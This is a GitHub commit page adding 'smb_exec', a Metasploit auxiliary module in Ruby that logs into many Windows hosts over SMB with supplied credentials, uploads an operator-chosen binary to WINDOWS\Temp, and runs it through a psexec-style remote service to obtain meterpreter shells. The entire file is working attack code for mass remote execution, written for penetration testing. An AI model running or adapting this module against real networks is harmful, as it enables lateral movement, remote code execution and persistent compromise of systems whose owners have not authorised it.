Skip to content

Commit b4872c1

Browse files
Royce DavisRoyce Davis
authored andcommitted
Submiting module smb_exec to MSF
1 parent 85dd212 commit b4872c1

File tree

1 file changed

+336
-0
lines changed

1 file changed

+336
-0
lines changed
Lines changed: 336 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,336 @@
1+
#!/usr/bin/env ruby
2+
3+
require 'msf/core'
4+
5+
class Metasploit3 < Msf::Auxiliary
6+
7+
# Exploit mixins should be called first
8+
include Msf::Exploit::Remote::SMB
9+
include Msf::Exploit::Remote::SMB::Authenticated
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Exploit::Remote::DCERPC
13+
14+
# Aliases for common classes
15+
SIMPLE = Rex::Proto::SMB::SimpleClient
16+
XCEPT = Rex::Proto::SMB::Exceptions
17+
CONST = Rex::Proto::SMB::Constants
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'SMB - Rapid Fire Psexec Module',
22+
'Description' => %q{This module uploads a binary executeable to one or more hosts and fires it off.
23+
This can be used simarlry to Eric Milam's 'smbexec.sh' script to achieve meterprter shells from
24+
several hosts. Make sure your multi/handler is set up properly before launching. Note, binaries will be
25+
left behind in your target's WINDOWS\Temp directory so don't forget to delete them after you are finished.
26+
},
27+
28+
'Author' => [
29+
'Royce Davis <rdavis[at]accuvant.com>',
30+
'Twitter: <[at]R3dy__>',
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' => [
34+
[ 'URL', 'http://www.pentestgeek.com' ],
35+
[ 'URL', 'http://www.accuvant.com' ],
36+
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
37+
],
38+
))
39+
40+
register_options([
41+
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
42+
OptString.new('LPATH', [true, 'The local path to the binary you wish to upload & execute', '']),
43+
OptString.new('RPORT', [true, 'The Target port', 445]),
44+
], self.class)
45+
46+
deregister_options('RHOST')
47+
end
48+
49+
50+
51+
#-----------------------
52+
# Main control method
53+
#---------------------
54+
def run_host(ip)
55+
exe = "#{Rex::Text.rand_text_alpha(16)}.exe"
56+
cmd = "C:\\WINDOWS\\SYSTEM32\\cmd.exe"
57+
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
58+
#Try and connect to the target
59+
begin
60+
connect()
61+
rescue StandardError => connecterror
62+
print_error("Unable to connect to the target. #{connecterror}")
63+
return
64+
end
65+
66+
# Try and authenticate with given credentials
67+
begin
68+
smb_login()
69+
rescue StandardError => autherror
70+
print_error("Unable to authenticate with the given credentials.")
71+
print_error("#{autherror.class}")
72+
print_error("#{autherror}")
73+
disconnect()
74+
return
75+
end
76+
77+
# Try and execute the module
78+
smbshare = datastore['SMBSHARE']
79+
begin
80+
upload_binary(smbshare, ip, exe, cmd, text)
81+
execute_binary(smbshare, ip, exe)
82+
cleanup_after(smbshare, ip, cmd, text)
83+
rescue StandardError => mainerror
84+
print_error("Something went wrong.")
85+
print_error("#{mainerror.class}")
86+
print_error("#{mainerror}")
87+
disconnect()
88+
return
89+
end
90+
disconnect()
91+
end
92+
93+
94+
95+
#--------------------------------------------------------------------------------------
96+
# This method will upload the binary executable to the target's WINDOWS\Temp directory
97+
#--------------------------------------------------------------------------------------
98+
def upload_binary(smbshare, ip, exe, cmd, text)
99+
print_status("Uploading binary to #{ip}.")
100+
begin
101+
if file_exists(smbshare, ip, exe, cmd, text)
102+
print_status("Binary already exists on target, no need to re-upload.")
103+
return
104+
end
105+
# Try and upload the binary
106+
data = ::File.read(datastore['LPATH'], ::File.size(datastore['LPATH']))
107+
if !simple.connect("\\\\#{ip}\\#{smbshare}")
108+
print_error("Couldn't mount the share. Make sure you have local admin.")
109+
return
110+
end
111+
remote = simple.open("\\\\WINDOWS\\Temp\\#{exe}", 'rwct')
112+
remote.write(data)
113+
remote.close
114+
rescue StandardError => uploaderror
115+
print_error("Unable to upload the binary to #{ip}")
116+
print_error("#{uploaderror.class}")
117+
print_error("#{uploaderror}")
118+
return uploaderror
119+
end
120+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
121+
end
122+
123+
124+
125+
#-----------------------------------------------------
126+
# Check the remote host to see if a file exists first
127+
#-----------------------------------------------------
128+
def file_exists(smbshare, ip, file, cmd, text)
129+
begin
130+
# Try and check the filesystem fo rthe target
131+
dir = "#{cmd} /C dir C:\\WINDOWS\\Temp > C:#{text}"
132+
simple.connect(smbshare)
133+
psexec(smbshare, dir)
134+
simple.connect("\\\\#{ip}\\#{smbshare}")
135+
remote = simple.open("\\#{text}", 'ro')
136+
if remote.read.include?(file)
137+
remote.close
138+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
139+
return true
140+
end
141+
remote.close
142+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
143+
rescue StandardError => checkerror
144+
print_error("Unable to verify if file exists.")
145+
print_error("#{checkerror.class}")
146+
print_error("#{checkerror}")
147+
return false
148+
end
149+
return false
150+
end
151+
152+
153+
154+
#----------------------------------------------------------------------------
155+
# This method calls the uploaded binary. Hopefully you'll get some shellz!!
156+
#----------------------------------------------------------------------------
157+
def execute_binary(smbshare, ip, exe)
158+
print_status("Executing #{exe} on #{ip}.")
159+
begin
160+
# Try and run the binary
161+
command = "C:\\WINDOWS\\Temp\\#{@exe}"
162+
simple.connect(smbshare)
163+
psexec(smbshare, command)
164+
rescue StandardError => executeerror
165+
print_error("Unable to run the binary on #{ip}. Might have been caught by AV.")
166+
print_error("#{executeerror.class}")
167+
print_error("#{executeerror}")
168+
return executeerror
169+
end
170+
end
171+
172+
173+
174+
#----------------------------------------------------------------------------------
175+
# This is the cleanup method, removes .txt file/s created during execution
176+
#-----------------------------------------------------------------------------------
177+
def cleanup_after(smbshare, ip, cmd, text)
178+
begin
179+
# Try and do cleanup command
180+
cleanup = "#{cmd} /C del C:#{text}"
181+
simple.connect(smbshare)
182+
print_status("Executing cleanup on host: #{ip}")
183+
psexec(smbshare, cleanup)
184+
rescue StandardError => cleanuperror
185+
print_error("Unable to processes cleanup commands.")
186+
print_error("#{cleanuperror.class}")
187+
print_error("#{cleanuperror}")
188+
return cleanuperror
189+
end
190+
end
191+
192+
193+
194+
#------------------------------------------------------------------------------------------------------------------------
195+
# This code was stolen straight out of psexec.rb. Thanks very much for all who contributed to that module!!
196+
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
197+
#------------------------------------------------------------------------------------------------------------------------
198+
def psexec(smbshare, command)
199+
filename = "filename"
200+
servicename = "servicename"
201+
simple.disconnect(smbshare)
202+
203+
simple.connect("IPC$")
204+
205+
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
206+
vprint_status("Binding to #{handle} ...")
207+
dcerpc_bind(handle)
208+
vprint_status("Bound to #{handle} ...")
209+
210+
vprint_status("Obtaining a service manager handle...")
211+
scm_handle = nil
212+
stubdata =
213+
NDR.uwstring("\\\\#{rhost}") +
214+
NDR.long(0) +
215+
NDR.long(0xF003F)
216+
begin
217+
response = dcerpc.call(0x0f, stubdata)
218+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
219+
scm_handle = dcerpc.last_response.stub_data[0,20]
220+
end
221+
rescue ::Exception => e
222+
print_error("Error: #{e}")
223+
return
224+
end
225+
226+
displayname = "displayname"
227+
holdhandle = scm_handle
228+
svc_handle = nil
229+
svc_status = nil
230+
231+
stubdata =
232+
scm_handle +
233+
NDR.wstring(servicename) +
234+
NDR.uwstring(displayname) +
235+
236+
NDR.long(0x0F01FF) + # Access: MAX
237+
NDR.long(0x00000110) + # Type: Interactive, Own process
238+
NDR.long(0x00000003) + # Start: Demand
239+
NDR.long(0x00000000) + # Errors: Ignore
240+
NDR.wstring( command ) +
241+
NDR.long(0) + # LoadOrderGroup
242+
NDR.long(0) + # Dependencies
243+
NDR.long(0) + # Service Start
244+
NDR.long(0) + # Password
245+
NDR.long(0) + # Password
246+
NDR.long(0) + # Password
247+
NDR.long(0) # Password
248+
begin
249+
vprint_status("Attempting to execute #{command}")
250+
response = dcerpc.call(0x0c, stubdata)
251+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
252+
svc_handle = dcerpc.last_response.stub_data[0,20]
253+
svc_status = dcerpc.last_response.stub_data[24,4]
254+
end
255+
rescue ::Exception => e
256+
print_error("Error: #{e}")
257+
return
258+
end
259+
260+
vprint_status("Closing service handle...")
261+
begin
262+
response = dcerpc.call(0x0, svc_handle)
263+
rescue ::Exception
264+
end
265+
266+
vprint_status("Opening service...")
267+
begin
268+
stubdata =
269+
scm_handle +
270+
NDR.wstring(servicename) +
271+
NDR.long(0xF01FF)
272+
273+
response = dcerpc.call(0x10, stubdata)
274+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
275+
svc_handle = dcerpc.last_response.stub_data[0,20]
276+
end
277+
rescue ::Exception => e
278+
print_error("Error: #{e}")
279+
return
280+
end
281+
282+
vprint_status("Starting the service...")
283+
stubdata =
284+
svc_handle +
285+
NDR.long(0) +
286+
NDR.long(0)
287+
begin
288+
response = dcerpc.call(0x13, stubdata)
289+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
290+
end
291+
rescue ::Exception => e
292+
print_error("Error: #{e}")
293+
return
294+
end
295+
296+
vprint_status("Removing the service...")
297+
stubdata =
298+
svc_handle +
299+
NDR.wstring("C:\\WINDOWS\\Temp\\msfcommandoutput.txt")
300+
begin
301+
response = dcerpc.call(0x02, stubdata)
302+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
303+
end
304+
rescue ::Exception => e
305+
print_error("Error: #{e}")
306+
end
307+
308+
vprint_status("Closing service handle...")
309+
begin
310+
response = dcerpc.call(0x0, svc_handle)
311+
rescue ::Exception => e
312+
print_error("Error: #{e}")
313+
end
314+
315+
begin
316+
#print_status("Deleting \\#{filename}...")
317+
select(nil, nil, nil, 1.0)
318+
#This is not really useful but will prevent double \\ on the wire :)
319+
if datastore['SHARE'] =~ /.[\\\/]/
320+
simple.connect(smbshare)
321+
simple.delete("C:\\WINDOWS\\Temp\\msfcommandoutput.txt")
322+
else
323+
simple.connect(smbshare)
324+
simple.delete("C:\\WINDOWS\\Temp\\msfcommandoutput.txt")
325+
end
326+
327+
rescue ::Interrupt
328+
raise $!
329+
rescue ::Exception
330+
#raise $!
331+
end
332+
simple.disconnect("IPC$")
333+
simple.disconnect(smbshare)
334+
end
335+
336+
end

0 commit comments

Comments
 (0)